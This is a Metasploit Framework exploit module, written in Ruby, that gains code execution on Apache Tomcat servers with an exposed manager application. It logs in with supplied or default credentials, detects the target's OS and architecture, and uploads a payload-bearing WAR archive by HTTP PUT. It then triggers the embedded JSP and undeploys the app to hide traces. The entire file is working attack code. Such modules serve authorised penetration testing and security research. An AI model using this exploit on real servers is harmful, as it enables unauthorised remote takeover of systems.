##
# $Id: tomcat_mgr_deploy.rb 11330 2010-12-14 17:26:44Z egypt $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Tomcat Manager Application Deployer Authenticated Code Execution',
'Description' => %q{
This module can be used to execute a payload on Apache Tomcat servers that
have an exposed "manager" application. The payload is uploaded as a WAR archive
containing a jsp application using a PUT request.
The manager application can also be abused using /manager/html/upload, but that
method is not implemented in this module.
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 11330 $',
'References' =>
[
# There is no single vulnerability associated with deployment functionality.
# Instead, the focus has been on insecure/blank/hardcoded default passwords.
# The following references refer to HP Operations Manager
[ 'CVE', '2009-3843' ],
[ 'OSVDB', '60317' ],
[ 'CVE', '2009-4189' ],
[ 'OSVDB', '60670' ],
# HP Operations Dashboard
[ 'CVE', '2009-4188' ],
# IBM Cognos Express Default user/pass
[ 'BID', '38084' ],
[ 'CVE', '2010-0557' ],
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21419179' ],
# IBM Rational Quality Manager and Test Lab Manager
[ 'CVE', '2010-4094' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-214/' ],
# 'admin' password is blank in default Windows installer
[ 'CVE', '2009-3548' ],
[ 'OSVDB', '60176' ],
[ 'BID', '36954' ],
# tomcat docs
[ 'URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html' ]
],
'Platform' => [ 'java', 'win', 'linux' ], # others?
'Targets' =>
[
#
# detect via /manager/serverinfo
#
[ 'Automatic', { } ],
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
],
#
# Platform specific targets only
#
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
},
],
[ 'Linux x86',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
},
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 09 2009'))
register_options(
[
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
# /cognos_express/manager/ for Cognos Express (19300)
OptString.new('PATH', [ true, "The URI path of the manager app (/deploy and /undeploy will be used)", '/manager'])
], self.class)
end
def auto_target
print_status("Attempting to automatically select a target...")
res = query_serverinfo()
return nil if not res
plat = detect_platform(res.body)
arch = detect_arch(res.body)
# No arch or platform found?
if (not arch or not plat)
return nil
end
# see if we have a match
targets.each { |t|
if (t['Platform'] == plat) and (t['Arch'] == arch)
return t
end
}
# no matching target found
return nil
end
def exploit
datastore['BasicAuthUser'] = datastore['USERNAME']
datastore['BasicAuthPass'] = datastore['PASSWORD']
mytarget = target
if (target.name =~ /Automatic/)
mytarget = auto_target
if (not mytarget)
raise RuntimeError, "Unable to automatically select a target"
end
print_status("Automatically selected target \"#{mytarget.name}\"")
else
print_status("Using manually select target \"#{mytarget.name}\"")
end
# We must regenerate the payload in case our auto-magic changed something.
p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)
# Generate the WAR containing the EXE containing the payload
jsp_name = rand_text_alphanumeric(4+rand(32-4))
app_base = rand_text_alphanumeric(4+rand(32-4))
# Generate the WAR containing the payload
war = p.encoded_war({
:app_name => app_base,
:jsp_name => jsp_name,
:arch => mytarget.arch,
:platform => mytarget.platform
}).to_s
query_str = "?path=/" + app_base
#
# UPLOAD
#
path_tmp = datastore['PATH'] + "/deploy" + query_str
print_status("Uploading #{war.length} bytes as #{app_base}.war ...")
res = send_request_cgi({
'uri' => path_tmp,
'method' => 'PUT',
'ctype' => 'application/octet-stream',
'data' => war,
}, 20)
if (! res)
raise RuntimeError, "Upload failed on #{path_tmp} [No Response]"
end
if (res.code < 200 or res.code >= 300)
case res.code
when 401
print_error("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
end
raise RuntimeError, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]"
end
#
# EXECUTE
#
jsp_path = '/' + app_base + '/' + jsp_name + '.jsp'
print_status("Executing #{jsp_path}...")
res = send_request_cgi({
'uri' => jsp_path,
'method' => 'GET'
}, 20)
if (! res)
print_error("Execution failed on #{app_base} [No Response]")
elsif (res.code < 200 or res.code >= 300)
print_error("Execution failed on #{app_base} [#{res.code} #{res.message}]")
print_status(res.body) if datastore['VERBOSE']
end
#
# DELETE
#
path_tmp = datastore['PATH'] + "/undeploy" + query_str
print_status("Undeploying #{app_base} ...")
res = send_request_cgi({
'uri' => path_tmp,
'method' => 'GET'
}, 20)
if (! res)
print_error("WARNING: Undeployment failed on #{path} [No Response]")
elsif (res.code < 200 or res.code >= 300)
print_error("Deletion failed on #{path} [#{res.code} #{res.message}]")
end
handler
end
def query_serverinfo()
path = datastore['PATH'] + '/serverinfo'
res = send_request_raw(
{
'uri' => path
}, 10)
if (not res) or (res.code != 200)
print_error("Failed: Error requesting #{path}")
return nil
end
print_status(res.body) if datastore['VERBOSE']
return res
end
def detect_platform(body = nil)
if not body
res = query_serverinfo()
return nil if not res
body = res.body
end
body.each_line { |ln|
ln.chomp!
case ln
when /OS Name: /
os = ln.split(':')[1]
case os
when /Windows/
return 'win'
when /Linux/
return 'linux'
end
end
}
end
def detect_arch(body)
body.each_line { |ln|
ln.chomp!
case ln
when /OS Architecture: /
ar = ln.split(':')[1].strip
case ar
when 'x86', 'i386', 'i686'
return ARCH_X86
when 'x86_64', 'amd64'
return ARCH_X86
end
end
}
end
end
